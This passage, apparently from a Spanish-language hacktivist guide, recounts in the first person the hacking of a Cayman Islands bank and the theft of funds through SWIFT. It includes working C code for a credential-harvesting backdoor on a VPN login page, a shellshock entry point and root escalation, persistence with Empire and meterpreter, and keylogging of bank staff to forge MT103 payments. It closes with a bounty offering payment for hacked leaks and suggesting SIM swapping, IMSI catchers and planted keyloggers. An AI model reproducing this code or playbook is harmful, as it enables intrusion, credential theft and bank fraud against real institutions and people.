mensajes SWIFT directamente.Creo que si colaborase con otros hackers bancarios con experiencia podríamos hacernos cientos de bancos como Carnabak, en vez de estar haciendo uno de tanto en tanto por mi cuenta. Así que si tienes experiencia con hackeos similares y quieres colaborar, contactame. Encontrarás mi correo y mi llave PGP al final de la guía anterior [3].[1] https://github.com/PowerShellMafia/PowerSploit/blob/master/ Exfiltration/Get-Keystrokes.ps1[2] https://lolbas-project.github.io/[3] https://www.exploit-db.com/papers/41914 ________________________________________/ Si robar un banco cambiara las cosas, \\ lo harían ilegal / ---------------------------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `'--[ 3 - Tengan cuidado ahí fuera ]----------------------------------------------Es importante tomar algunas precauciones sencillas. Voy a remitirme a esta misma sección de mi última guía [1], ya que por lo visto funciona bien nomás[2]. Todo lo que tengo que añadir es que, en palabras de Trump, "A menos queatrapes a los hackers in fraganti, es rete-difícil determinar quién es queestaba realizando el hackeo", de modo que la policía se está volviendo más y más creativa [3][4] en sus intentos de agarrar a los criminales en el acto (cuando sus discos duros cifrados están desbloqueados). Así que estaría bueno si por ejemplo llevas encima un cierto dispositivo bluetooth y configuras tucomputadora para que se apague cuando se aleje más allá de un cierto rango, ocuando un acelerómetro detecta movimiento, o algo por el estilo.Puede que escribir artículos largos detallando tus acciones y tu ideología no sea la cosa más segura del mundo (¡ups!), pero a ratos siento que tenía quehacerlo. Si no creyera en quien me escucha Si no creyera en lo que duele Si no creyera en lo que quede Si no creyera en lo que lucha Que cosa fuera... ¿Que cosa fuera la maza sin cantera?[1] https://www.exploit-db.com/papers/41914[2] https://www.wifi-libre.com/topic-1268-italia-se-rinde-y-deja-de-buscar-a- phineas-fisher.html[3] https://www.wired.com/2015/05/silk-road-2/[4] https://motherboard.vice.com/en_us/article/59wwxx/fbi-airs-alexandre-cazes- alphabay-arrest-video ,-\__ |f-"Y\ ____________________ \()7L/ | ¡Sé gay! | cgD | ¡Haz el crimen! | __ _ |\( --------------------- .' Y '>, \ \ \ / _ _ \ \\\ \ )(_) (_)(|} \\\ { 4A } / \\\ \uLuJJ/\l \\\ |3 p)/ \\\___ __________ /nnm_n// c7___-__,__-)\,__)(". \_>-<_/D //V \_"-._.__G G_c__.-__<"/ ( \ <"-._>__-,G_.___)\ \7\ ("-.__.| \"<.__.-" ) \ \ |"-.__"\ |"-.__.-".\ \ \ ("-.__"". \"-.__.-".| \_\ \"-.__""|!|"-.__.-".) \ \ "-.__""\_|"-.__.-"./ \ l ".__""">G>-.__.-"> .--,_ "" G Muchos culpan a las personas queer del declive de esta sociedad; estamos orgullosxs de ello Algunos creen que queremos reducir a cenizas esta civilización y su tejido moral; No podrían estar más en lo cierto Con frecuencia nos describen como depravadxs, decadentes y revoltosxs Pero ¡ay! No han visto nada todavíahttps://theanarchistlibrary.org/library/mary-nardini-gang-be-gay-do-crime--[ 4 - Conseguir acceso ]------------------------------------------------------En otro lugar [1] les platicaba acerca de las vías principales para conseguiracceso inicial a la red de una compañía durante un ataque dirigido. Sin embargo,éste no era un ataque dirigido. No me propuse hackear un banco específico, loque quería era hackear cualquier banco, lo cual termina siendo una tarea muchomás sencilla. Este tipo de enfoque inespecífico fue popularizado por Lulzsec yAnonymous [2]. Como parte de [1], preparé un exploit y unas herramientas depost-explotación para un dispositivo de VPN popular. Luego me puse a escanear lainternet entera con zmap [3] y zgrab para identificar otros dispositivosvulnerables. Hice que el escaner guardara las IPs vulnerables, junto con el"common name" y los "alt names" del certificado SSL del dispositivo, los nombresde dominio de windows del dispositivo, y la búsqueda DNS inversa de la IP. Lehice un grep al resultado en busca de la palabra "banco", y había bastante paraelegir, pero la verdad es que me atrajo la palabra "Cayman", y fue así que vinea quedarme con este.[1] https://www.exploit-db.com/papers/41914[2] https://web.archive.org/web/20190329001614/http://infosuck.org/0x0098.png[3] https://github.com/zmap/zmap----[ 4.1 - El Exploit ]--------------------------------------------------------Cuando publiqué mi última guía DIY [1] no revelé los detalles del exploit desonicwall que había usado para hackear a Hacking Team, ya que era muy útil paraotros hackeos, como este mismo, y todavía no había acabado de divertirme con él.Determinada entonces a hackear a Hacking Team, pasé semanas haciendo ingenieríainversa a su modelo del ssl-vpn de sonicwall, e incluso conseguí encontrarvarias vulnerabilidades de corrupción de memoria más o menos difíciles deexplotar, antes de darme cuenta de que el dispositivo era fácilmente explotablecon shellshock [2]. Cuando salió shellshock, muchos dispositivos sonicwall eranvulnerables, sólo con una petición a cgi-bin/welcome, y un payload en eluser-agent. Dell sacó una actualización de seguridad y un advisory para estasversiones. La versión usada por Hacking Team y este banco tenía la versión debash vulnerable, pero las peticiones cgi no disparaban el shellshock excepto porlas peticiones a un shell script, y justo había uno accesible:cgi-bin/jarrewrite.sh. Esto parece que se les escapó a los de Dell en su nota,ya que nunca sacaron una actualización de seguridad ni un advisory para esaversión del sonicwall. Y, amablemente, Dell había hecho dos2unix setuid root,dejando un dispositivo fácil de rootear.En mi última guía muchos leyeron que pasé semanas investigando un dispositivo hasta dar con un exploit, y asumieron que eso significaba que yo era algún tipode hacker de élite. La realidad, es decir, el hecho de que me llevó dos semanasdarme cuenta de que era trivialmente explotable con shellshock, es tal vez menoshalagadora para mí, pero pienso que también es más inspiradora. Demuestra quede verdad tú puedes hacer esto por tí misma. No necesitas ser un genio, yociertamente no lo soy. En realidad mi trabajo contra Hacking Team comenzó unaño antes. Cuando descubrí a Hacking Team y al Grupo Gamma en lasinvestigaciones de CitizenLab [3][4], decidí explorar un poco y ver si podíaencontrar algo. No llegué a ninguna parte con Hacking Team, pero tuve suerte conGamma Group, y pude hackear su portal de atención al cliente con inyección sqlbásica y vulnerabilidades de subida de archivos [5][6]. Sin embargo, a pesar deque su servidor de soporte me daba un pivote hacia la red interna de GammaGroup, fui incapaz de penetrar mas allá en la compañía. A partir de estaexperiencia con el Grupo Gamma y otros hacks, me di cuenta de que estabarealmente limitada por mi falta de conocimiento sobre escalada de privilegios ymovimiento lateral en dominios windows, active directory y windows en general.Así que estudié y practiqué (ver sección 11), hasta que sentí que estaba listapara volver a hacerle una visita a Hacking Team casi un año después. La prácticadio sus frutos, y esa vez fui capaz de realizar un compromiso completo de lacompañía [7]. Antes de darme cuenta de que podía entrar con shellshock, estabadispuesta a pasar meses enteros feliz de la vida estudiando desarrollo deexploits y escribiendo un exploit confiable para una de las vulnerabilidades decorrupción de memoria que había encontrado. Sólo sabía que Hacking Teamnecesitaba ser expuesto, y que me tomaría tanto tiempo como fuese necesario yaprendería lo que tuviese que aprender para conseguirlo. Para realizar estoshacks no necesitas ser brillante. Ni siquiera necesitas un gran conocimientotécnico. Sólo necesitas dedicación, y creer en tí misma.[1] https://www.exploit-db.com/papers/41914[2] https://es.wikipedia.org/wiki/Shellshock_(error_de_software)[3] https://citizenlab.ca/tag/hacking-team/[4] https://citizenlab.ca/tag/finfisher/[5] https://theintercept.com/2014/08/07/leaked-files-german-spy-company-helped- bahrain-track-arab-spring-protesters/[6] https://www.exploit-db.com/papers/41913[7] https://web.archive.org/web/20150706095436/https://twitter.com/hackingteam----[ 4.2 - El Backdoor ]-------------------------------------------------------Parte del backdoor que preparé para Hacking Team (véase [1], sección 6) era un wrapper sencillo sobre la página de login para capturar contraseñas:#include <stdio.h>#include <unistd.h>#include <fcntl.h>#include <string.h>#include <stdlib.h>int main(){ char buf[2048]; int nread, pfile; /* jala el log si mandamos una cookie especial */ char *cookies = getenv("HTTP_COOKIE"); if (cookies && strstr(cookies, "nuestra contraseña privada")) { write(1, "Content-type: text/plain\n\n", 26); pfile = open("/tmp/.pfile", O_RDONLY); while ((nread = read(pfile, buf, sizeof(buf))) > 0) write(1, buf, nread); exit(0); } /* el principal almacena los datos del POST y se los envía al hijo, que es el programa de login real */ int fd[2]; pipe(fd); pfile = open("/tmp/.pfile", O_APPEND | O_CREAT | O_WRONLY, 0600); if (fork()) { close(fd[0]); while ((nread = read(0, buf, sizeof(buf))) > 0) { write(fd[1], buf, nread); write(pfile, buf, nread); } write(pfile, "\n", 1); close(fd[1]); close(pfile); wait(NULL); } else { close(fd[1]); dup2(fd[0],0); close(fd[0]); execl("/usr/src/EasyAccess/www/cgi-bin/.userLogin", "userLogin", NULL); }}En el caso de Hacking Team, se logueaban a la VPN con passwords de un solo uso,de modo que la VPN me dio acceso solamente a la red, y a partir de ahí me tomóun esfuerzo extra conseguir admin de dominio en su red. En la otra guía escribísobre pases laterales y escalada de privilegios en dominios windows [1]. En estecaso, en cambio, eran las mismas contraseñas de dominio de windows las que seusaban para autenticarse contra la VPN, así que pude conseguir un buen decontraseñas de usuarios, incluyendo la del admin de dominio. Ahora tenía totalacceso a su red, pero usualmente esta es la parte fácil. La parte más complicadaes entender cómo es que operan y cómo sacar el pisto.[1] https://www.exploit-db.com/papers/41914----[ 4.3 - Datos curiosos ]----------------------------------------------------Al seguir la investigación que hicieron sobre el hackeo, me resultó interesantever que, por la misma época en que yo lo hice, el banco pudo haber sidocomprometido por alguna otra persona mediante un email de phishing dirigido [1].Como dice el viejo dicho, "dale a una persona un exploit y tendrá acceso por undía, enséñale a phishear y tendrá acceso toda su vida" [2]. El hecho de quealguien más, por casualidad y al mismo tiempo que yo, se pusiera este bancopequeño en la mira (registraron un dominio similar al dominio real del bancopara poder enviar el phishing desde ahí) hace pensar que los hackeos bancariosocurren con mucha más frecuencia de lo que se conoce.Una sugerencia divertida para que puedas seguir las investigaciones de tus hackeos es tener un acceso de respaldo, uno que no vas a tocar a menos que pierdas el acceso normal. Tengo un script sencillo que espera comandos una vez al dia, o menos, sólo para mantener acceso a largo plazo en el caso de que bloqueen mi acceso regular. Luego tenía un powershell empire [3] llamando a casa con más frecuencia a una IP diferente, y usaba empire para lanzar meterpreter [4] contra una tercera IP, donde realizaba la mayor parte de mi trabajo. Cuando PWC se puso a investigar el hackeo, encontraron mi uso de empire y meterpreter y limpiaron esas computadoras y bloquearon esas IPs, pero no detectaron mi acceso de respaldo. PWC habia colocado dispositivos de monitoreo de red, para poder analizar el tráfico y ver si todavía había computadoras infectadas, de modo que no quería conectarme mucho a su red. Sólo lancé mimikatz una vez para obtener las nuevas contraseñas, y a partir de ahí pude seguir sus investigaciones leyendo sus correos en el outlook web access.[1] página 47, Project Pallid Nutmeg.pdf, en torrent[2] https://twitter.com/thegrugq/status/563964286783877121[3] https://github.com/EmpireProject/Empire[4] https://github.com/rapid7/metasploit-framework--[ 5 - Entender las Operaciones Bancarias ]------------------------------------Para entender cómo operaba el banco, y cómo podría sacar dinero, seguí las técnicas que resumí en [1], en la sección "13.3 - Reconocimiento Interno". Descargué una lista de todos los nombres de archivos, le hice un grep en busca de palabras como "SWIFT" y "transferencia", y descargué y leí todos los archivos con nombres interesantes. También busqué correos de empleados, pero de lejos la técnica más útil fue usar keyloggers y capturas de pantalla paraobservar cómo trabajaban los empleados del banco. No lo sabía por entonces, pero para esto windows trae una herramienta buenisima de monitoreo [2]. Como sedescribe en la técnica no. 5 del apartado 13.3 en [1], hice una captura de lasteclas pulsadas en todo el dominio (incluyendo los títulos de ventana), hice ungrep en busca de SWIFT, y encontré algunos empleados abriendo 'SWIFT AccessService Bureau - Logon'. Para esos empleados, corrí meterpreter como en [3], yusé el módulo post/windows/gather/screen_spy para tomar capturas de pantallacada 5 segundos, para observar cómo es que trabajaban. Estaban usando una appcitrix remota de la compañía bottomline [4] para acceder a la red SWIFT, dondecada mensaje de pago SWIFT MT103 tenía que pasar a través de tres empleados: unopara "crear" el mensaje, uno para "verificarlo", y otro para "autorizarlo". Comoya tenía todas sus credenciales gracias al keylogger, pude realizar confacilidad los tres pasos yo misma. Y por lo que sabía después de haberles vistotrabajar, no revisaban los mensajes SWIFT enviados, de modo que debería tenersuficiente tiempo para sacar el dinero de mis bank drops antes de que el bancose diera cuenta e intentara revertir las transferencias.[1] https://www.exploit-db.com/papers/41914[2] https://cyberarms.wordpress.com/2016/02/13/using-problem-steps-recorder-psr- remotely-with-metasploit/[3] https://www.trustedsec.com/blog/no_psexec_needed/[4] https://www.bottomline.com/uk/products/bottomline-swift-access-services _________________________________________/ Quien roba a un ladrón, tiene cien años \\ de perdón. / ----------------------------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `'--[ 6 - Enviar el dinero ]------------------------------------------------------No tenía mucha idea de lo que estaba haciendo, así que lo iba descubriendo por el camino. De algún modo, las primeras transferencias que envié salieron bien. Al día siguiente, la cagué enviando una transferencia a méxico que puso fin a mi diversión. Este banco enviaba sus transferencias internacionales a través de su cuenta corresponsal en Natwest. Había visto que la cuentacorresponsal para las transferencias en libras esterlinas (GBP) aparecía comoNWBKGB2LGPL, mientras que para las demás era NWBKGB2LXXX. La transferenciamexicana estaba en GBP, así que asumí que tenía que poner NWBKGB2LGPL comocorresponsal. Si lo hubiera preparado mejor habría sabido que el GPL en lugar deXXX señalaba que el pago se enviaría a través del Servicio de Pagos Rápidos delReino Unido, en lugar de como una transferencia internacional, lo que obviamentepues no va a funcionar cuando estás tratando de enviar dinero a méxico. Así queal banco le llegó un mensaje de error. El mismo día también traté de enviar unpago de £200k a UK usando NWBKGB2LGPL, que no se hizo porque 200k sobrepasaba ellímite de envío mediante pagos rápidos, y hubiera tenido que usar NWBKGB2LXXX envez. También recibieron un mensaje de error por esto. Leyeron los mensajes, loinvestigaron, y encontraron el resto de mis transferencias.--[ 7 - El botín ]--------------------------------------------------------------Por lo que escribo ya se harán una noción cabal de cuáles son mis ideales y aqué cosas les doy mi apoyo. Pero no quisiera ver a nadie en problemas legales por recibir fondos expropiados, así que ni una palabra más de para dónde se fue la lana. Sé que los periodistas probablemente van a querer poner algún número sobre cuántos dólares fueron distribuidos en este hackeo y otrosparecidos, pero prefiero no alentar nuestro perverso hábito de medir las acciones nomás por su valor económico. Cualquier acción es admirable si es que viene desde el amor y no desde el ego. Por desgracia los de arriba, los ricos ypoderosos, las figuras públicas, los hombres de negocios, la gente en posiciones"importantes", aquellos que nuestra sociedad más respeta y valora, esos se hancolocado donde están a base de actuar más desde el ego que desde el amor. Es enla gente sencilla, humilde e "invisible" en quien deberíamos fijarnos y aquienes deberíamos admirar.--[ 8 - Criptomonedas ]---------------------------------------------------------Redistribuir dinero expropiado a proyectos chileros que buscan un cambio social positivo sería más fácil y seguro si esos proyectos aceptaran donaciones anónimas vía criptomonedas como monero, zcash, o al menos bitcoin. Se entiende que muchos de esos proyectos tengan una aversión a las criptomonedas, ya que se parecen más a alguna extraña distopía hipercapitalista que a la economía social con la que soñamos. Comparto su escepticismo, pero pienso que resultan útiles para permitir donaciones y transacciones anónimas, al limitar lavigilancia y control gubernamentales. Igual que el efectivo, cuyo uso muchospaíses están tratando de limitar por la misma razón.--[ 9 - Powershell ]------------------------------------------------------------En esta operación, al igual en que en [1], hice mucho uso de powershell. Porentonces, powershell era super cool, podías hacer casi cualquier cosa quequisieras, sin detección de antivirus y con muy poco footprint forense. Ocurreque con la introducción del AMSI [2] el powershell ofensivo está de retirada.Hoy día el C# ofensivo es lo que está de subida, con heramientas como[3][4][5][6]. AMSI va a llegar a .NET para la 4.8, así que a las herramientas enC# probablemente todavía les queden un par de añitos antes de quedar anticuadas.Y entonces pues volveremos a usar C o C++, o tal vez Delphi vuelva a ponerse demoda. Las herramientas y técnicas específicas cambian cada pocos años, pero enel fondo no es tanto lo que cambia, hoy el hacking en esencia sigue siendo lamisma cosa que era en los 90s. De hecho todos los scripts de powershellempleados en esta guía y en la anterior [1] siguen siendo perfectamente usableshoy día, tras una pequeña ofuscación de tu propia cosecha.[1] https://www.exploit-db.com/papers/41914[2] https://medium.com/@byte_St0rm/ adventures-in-the-wonderful-world-of-amsi-25d235eb749c[3] https://cobbr.io/SharpSploit.html[4] https://github.com/tevora-threat/SharpView[5] https://www.harmj0y.net/blog/redteaming/ghostpack/[6] https://rastamouse.me/2019/08/covenant-donut-tikitorch/ ___________________________/ Fo Sostyn, Fo Ordaag \\ Financial Sector Fuck Off / --------------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `'--[ 10 - Torrent ]-------------------------------------------------------------- Privacidad para los débiles, transparencia para los poderosos.La banca offshore provee de privacidad frente a su propio gobierno a los ejecutivos, a los políticos y a los millonarios. Exponerles puede sonarhipócrita por mi parte, dado que por lo general estoy a favor de la privacidad yen contra de la vigilancia gubernamental. Pero la ley ya estaba escrita por ypara los ricos: protege su sistema de explotación, con algunos límites (como losimpuestos) para que la sociedad pueda funcionar y el sistema no colapse bajo elpeso de su propia avaricia. Así que no, no es lo mismo la privacidad para lospoderosos, cuando les permite evadir los limites de un sistema de por sídiseñado para darles privilegios; y la privacidad para los débiles, a quienesprotege de un sistema concebido para explotarles.Incluso a periodistas con la mejor de las intenciones les resulta imposibleestudiar una cantidad tan ingente de material y saber qué va a resultarrelevante para la gente en diferentes partes del mundo. Cuando filtré losarchivos de Hacking Team, entregué a The Intercept una copia de los correoselectrónicos con un mes de antelación. Encontraron un par de los 0days queHacking Team estaba usando, los reportaron previamente a MS y Adobe y publicaronunas cuantas historias una vez que la filtración se hizo pública. No hay puntode comparación con la enorme cantidad de artículos e investigación que vino trasla filtración completa al público. Viéndolo así, y considerando también la (no) publicación editorializada [1] de los papeles de panamá, pienso que unafiltración pública y completa de este material es la elección correcta.[1] https://www.craigmurray.org.uk/archives/2016/04/corporate-media-gatekeepers- protect-western-1-from-panama-leak/Los psicólogos hallaron que los que están más abajo en las jerarquías tienden acomprender y a empatizar con aquellos en la cima, pero que lo contrario es menoscomún. Esto explica por qué, en este mundo sexista, muchos hombres bromean sobresu imposibilidad de entender a las mujeres, como si se tratara de un misterioirresoluble. Explica por qué los ricos, si es que se paran a pensar en quienesviven en la pobreza, dan unos consejos y unas "soluciones" tan ajenas a larealidad que dan ganas de reír. Explica por qué reverenciamos a los ejecutivoscomo valientes que asumen riesgos. ¿Qué es lo que arriesgan, más allá de suprivilegio? Si todos sus emprendimientos fracasan, tendrán que vivir y trabajarcomo el resto de nosotras. También explica por qué serán muchos los que acusende irresponsable y peligrosa a esta filtración sin tachaduras. Sienten el"peligro" sobre un banco offshore y sus clientes de forma mucho más intensa delo que sienten la miseria de aquellos desposeídos por este sistema injusto ydesigual. Y la filtración de sus finanzas, ¿es acaso un peligro para ellos, otan sólo para su posición en lo alto de una jerarquía que ni siquiera deberíaexistir? ,---------------------------------------------------. _,-._ | Nos vilifican, esos infames; cuando la única | ; ___ : | diferencia es que ellos roban a los pobres | ,--' (. .) '--.__ | amparados por la ley, lo sabe el cielo, y nosotros| _; ||| \ | saqueamos a los ricos bajo la única protección de | '._,-----''';=.____," | nuestro propio coraje. ¿No has de preferir ser | /// < o> |##| | uno de nosotros, antes que pordiosear ante esos | (o \`--' / villanos en busca de trabajo? | ///\ >>>> _\ <<<< //`---------------------------------------------------' --._>>>>>>>><<<<<<<< / ___() >>>[||||]<<<< `--'>>>>>>>><<<<<<< >>>>>>><<<<<< >>>>><<<<< >>ctr<< Capitán Bellamy --[ 11 - Aprende a hackear ]---------------------------------------------------- No se empieza hackeando bien. Empiezas hackeando mierda, pensando que es bueno, y luego poco a poco vas mejorando. Por eso siempre digo que una de las virtudes más valiosas es la persistencia. - Consejos de Octavia Butler para la aspirante a APTLa mejor forma de aprender a hackear es hackeando. Armate un laboratorio conmáquinas virtuales y empezá a probar cosas, tomándote un break para investigarcualquier cosa que no entiendas. Como mínimo vas a querer un servidor windowscomo controlador de dominio, otra vm windows normal unida al dominio, y unamáquina de desarrollo con visual studio para compilar y modificar herramientas.Intenta hacer un documento de office con macros que lancen meterpreter u otroRAT, y probá meterpreter, mimikatz, bloodhound, kerberoasting, smb relaying,psexec y otras técnicas de pase lateral [1]; así como los otros scripts,herramientas y técnicas mencionados en esta guía y en la anterior [2]. Alprincipio puedes deshabilitar windows defender, pero luego probalo todoteniéndolo activado [3][4] (pero desactivando el envío automático de muestras).Una vez que estés a gusto con todo eso, estarás lista para hackear el 99% de lascompañías. Hay un par de cosas que en algún momento serán muy útiles en tuaprendizaje, como desenvolverte cómodamente con bash y cmd.exe, un dominiobásico de powershell, python y javascript, tener conocimiento de kerberos [5][6]y active directory [7][8][9][10], y un inglés fluido. Un buen librointroductorio es The Hacker Playbook.Quiero también escribir un poco sobre cosas en las que no centrarse si no tequieres entretener sólo porque alguien te haya dicho que no eres una hacker "deverdad" si no sabes ensamblador. Obviamente, aprende lo que sea que te interese,pero escribo estas líneas pensando en aquellas cosas en las que te puedescentrar a fin de conseguir resultados prácticos si lo que buscas es hackearcompañías para filtrar y expropiar. Un conocimiento básico de seguridad enaplicaciones web [11] es útil, pero especializarte más en seguridad web no esrealmente el mejor uso de tu tiempo, a menos que quieras hacer una carrera enpentesting o cazando recompensas por bugs. Los CTFs, y la mayoría de losrecursos que encontrarás al buscar información sobre hacking, se centrangeneralmente en habilidades como seguridad web, ingeniería inversa, desarrollode exploits, etc. Cosas que tienen sentido entendiéndolas como una forma depreparar gente para las carreras en la industria, pero no para nuestrosobjetivos. Las agencias de inteligencia pueden darse el lujo de tener un equipodedicado a lo más avanzado en fuzzing, un equipo trabajando en desarrollo deexploits con un güey investigando exclusivamente las nuevas técnicas demanipulación del montículo, etc. Nosotras no tenemos ni el tiempo ni losrecursos para eso. Las dos habilidades de lejos más importantes para el hackingpráctico son el phishing [12] y la ingeniería social para conseguir accesoinicial, y luego poder escalar y moverte por los dominios windows.[1] https://hausec.com/2019/08/12/offensive-lateral-movement/[2] https://www.exploit-db.com/papers/41914[3] https://blog.sevagas.com/IMG/pdf/BypassAVDynamics.pdf[4] https://www.trustedsec.com/blog/ discovering-the-anti-virus-signature-and-bypassing-it/[5] https://www.tarlogic.com/en/blog/how-kerberos-works/[6] https://www.tarlogic.com/en/blog/how-to-attack-kerberos/[7] https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/[8] https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/[9] https://adsecurity.org/[10] https://github.com/infosecn1nja/AD-Attack-Defense[11] https://github.com/jhaddix/tbhm[12] https://blog.sublimesecurity.com/red-team-techniques-gaining-access-on-an- external-engagement-through-spear-phishing/--[ 12 - Lecturas Recomendadas ]------------------------------------------------ __________________________________________/ Cuando el nivel científico de un mundo \| supera por mucho su nivel de solidaridad,|\ ese mundo se autodestruye. / ------------------------------------------ \ _.---._ . . * \.' '. ** _.-~===========~-._ . (___________________) . * .' \_______/ .' .' .' ' - AmiCasi todo el hacking hoy día se hace por hackers de sombrero negro, para su provecho personal; o por hackers de sombrero blanco, para el provecho de los accionistas (y en defensa de los bancos, compañías y estados que nos están aniquilando a nosotras y al planeta en que vivimos); y por militares y agencias de inteligencia, como parte de su agenda de guerra y conflictos. Viendo que este nuestro mundo ya está al límite, he pensado que, además de estosconsejos técnicos para aprender a hackear, debía incluir algunos recursos quehan sido muy importantes para mi desarrollo y me han guiado en el uso de misconocimientos de hacking.* Ami: El Niño de las Estrellas - Enrique Barrios * La Anarquía Funciona https://es.theanarchistlibrary.org/library/peter-gelderloos-la-anarquia- funciona* Viviendo Mi Vida - Emma Goldman* The Rise and Fall of Jeremy Hammond: Enemy of the State https://www.rollingstone.com/culture/culture-news/the-rise-and-fall-of-jeremy- hammond-enemy-of-the-state-183599/ Este cuate y el hack de HBGary fueron una inspiración* Días de Guerra, Noches de Amor - Crimethinc* Momo - Michael Ende* Cartas a un joven poeta - Rilke* Dominion (Documental) "no podemos creer que, si no miramos, no sucederá lo que no queremos ver" - Tolstoy en Первая ступень* Bash Back!--[ 13 - Sanar ]----------------------------------------------------------------El mundo hacker tiene una alta incidencia de depresión, suicidios y ciertasbatallas con la salud mental. No creo que sea a causa del hacking, sino por laclase de ambiente del que en su mayoría provienen los hackers. Como muchashackers, crecí con escaso contacto humano: fui una niña criada por el internet.Tengo mis luchas con la depresión y el entumecimiento emocional. A Willie Suttonse le cita con frecuencia diciendo que robaba bancos porque "allí es donde estáel dinero", pero la cita es incorrecta. Lo que realmente dijo fue: ¿Por qué robaba bancos? Porque lo disfrutaba. Amaba hacerlo. Estaba más vivo cuando estaba dentro de un banco, en pleno atraco, que en cualquier otro momento de mi vida. Lo disfrutaba tanto que una o dos semanas después ya estaba buscando la siguiente oportunidad. Pero para mí el dinero era una minucia, nada más.El hacking me ha hecho sentir viva. Comenzó como una forma de automedicar ladepresión. Más tarde me di cuenta de que, en realidad, podía servir para haceralgo positivo. No me arrepiento para nada de la forma en que crecí, trajo variasexperiencias hermosas a mi vida. Pero sabía que no podía continuar viviendo deesa manera. Así que comencé a pasar más tiempo alejada de mi computadora, conotras personas, aprendiendo a abrirme al mundo, a sentir mis emociones, aconectar con los demás, a aceptar riesgos y ser vulnerable. Cosas mucho másdifíciles que hackear, pero a la mera hora la recompensa vale más la pena. Aúnme supone un esfuerzo, pero aunque sea de forma lenta y tambaleante, siento quevoy por buen camino.El hacking, hecho con conciencia, también puede ser lo que nos sana. Según lasabiduría maya, tenemos un don otorgado por la naturaleza, que debemoscomprender para ponerlo al servicio de la comunidad. En [1], se explica: Cuando una persona no acepta su trabajo o misión empieza a padecer enfermedades, aparentemente incurables; aunque no llega a morir en corto tiempo, sino únicamente sufre, con el objetivo de despertar o tomar conciencia. Por eso es indispensable que una persona que ha adquirido los conocimientos y realiza su trabajo en las comunidades debe pagar su Toj y mantener una comunicación constante con el Creador y su ruwäch q’ij, pues necesita constantemente de la fuerza y energía de estos. De lo contrario, las enfermedades que lo hicieron reaccionar o tomar el trabajo podrían volver a causar daño.Si sientes que el hacking está alimentando tu aislamiento, depresión, u otrospadecimientos, respira. Date un tiempo para conocerte y tomar conciencia. Vosmereces vivir feliz, con salud y plenitud. ________________________< All Cows Are Beautiful > ------------------------ \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `'[1] Ruxe’el mayab’ K’aslemäl: Raíz y espíritu del conocimiento maya https://www.url.edu.gt/publicacionesurl/FileCS.ashx?Id=41748--[ 14 - El Programa Hacktivista de Caza de Bugs ]------------------------------Me parece que hackear para conseguir y filtrar documentos de interés público esuna de las mejores maneras en que lxs hackers pueden usar sus habilidades enbeneficio de la sociedad. Por desgracia para nosotras las hackers, como en casitodo rubro, los incentivos perversos de nuestro sistema económico no coincidencon aquello que beneficia a la sociedad. Así que este programa es mi intento dehacer posible que lxs buenxs hackers se puedan ganar la vida de forma honestaponiendo al descubierto material de interés público, en vez de tener que andarvendiendo su trabajo a las industrias de la ciberseguridad, el cibercrimen o laciberguerra. Entre algunos ejemplos de compañías por cuyos leaks me encantaríapagar están las empresas mineras, madereras y ganaderas que saquean nuestrahermosa América Latina (y asesinan a las defensoras de la tierra y el territorioque tratan de detenerles), empresas involucradas en ataques a Rojava como BaykarMakina o Havelsan, compañías de vigilancia como el grupo NSO, criminales deguerra y aves de rapiña como Blackwater y Halliburton, empresas penitenciariasprivadas como GeoGroup y CoreCivic/CCA, y lobbistas corporativos como ALEC.Presta atención a la hora de elegir dónde investigas. Por ejemplo, es bienconocido que las petroleras son malvadas: se enriquecen a costa de destruir elplaneta (y allá por los 80s las propias empresas ya sabían de las consecuenciasde su actividad [1]). Pero si les hackeas directamente, tendrás que bucear entreuna increíble cantidad de información aburridísima acerca de sus operacionescotidianas. Muy probablemente te va a ser mucho más fácil encontrar algointeresante si en cambio te enfocas en sus lobbistas [2]. Otra manera deseleccionar objetivos viables es leyendo historias de periodistas deinvestigación (como [3]), que son interesantes pero carecen de evidenciassólidas. Y eso es exactamente lo que tus hackeos pueden encontrar.Pagaré hasta 100 mil USD por cada filtración de este tipo, según el interés público e impacto del material, y el laburo requerido en el hackeo. Sobra decirque una filtración completa de los documentos y comunicaciones internas dealguna de estas empresas supondrá un beneficio para la sociedad que sobrepasaesos cien mil, pero no estoy tratando de enriquecer a nadie. Sólo quiero proveerde fondos suficientes para que las hackers puedan ganarse la vida de forma dignahaciendo un buen trabajo. Por limitaciones de tiempo y consideraciones deseguridad no voy a abrir el material, ni a inspeccionarlo por mí misma, sino queleeré lo que la prensa diga al respecto una vez se haya publicado, y haré unaestimación del interés público a partir de ahí. Mi información de contacto estáal final de la guía mencionada antes [4].Cómo obtengas el material es cosa tuya. Puedes usar las técnicas tradicionales de hacking esbozadas en esta guía y la anterior [4]. Podrías hacerle una simswap [5] a un empresario o politiquero corrupto, y luego descargar sus correos ybackups desde la nube. Puedes pedir un IMSI catcher de alibaba y usarlo afuerade sus oficinas. Puedes hacer un poco de war-driving (del antiguo o del nuevo[6]). Puede que seas una persona dentro de sus organizaciones que ya tieneacceso. Puedes optar por un estilo low-tech tipo old-school como en [7] y [8], ysencillamente colarte en sus oficinas. Lo que sea que te funcione.[1] https://www.theguardian.com/environment/climate-consensus-97-per-cent/2018/ sep/19/shell-and-exxons-secret-1980s-climate-change-warnings[2] https://theintercept.com/2019/08/19/oil-lobby-pipeline-protests/[3] https://www.bloomberg.com/features/2016-como-manipular-una-eleccion/[4] https://www.exploit-db.com/papers/41914[5] https://www.vice.com/en_us/article/vbqax3/ hackers-sim-swapping-steal-phone-numbers-instagram-bitcoin[6] https://blog.rapid7.com/2019/09/05/this-one-time-on-a-pen-test-your-mouse- is-my-keyboard/[7] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI[8] https://en.wikipedia.org/wiki/Unnecessary_Fuss----[ 14.1 - Pagos parciales ]--------------------------------------------------¿Eres una camarera de buen corazón que trabaja en una compañía del mal [1]?¿Estarías dispuesta a introducir sigilosamente un keylogger físico en lacomputadora de un ejecutivo, a cambiar su cable de carga USB por uno modificado[2], esconder un micro en alguna sala de reuniones donde planean susatrocidades, o a dejar uno de estos [3] olvidado en algún rincón de lasoficinas? [1] 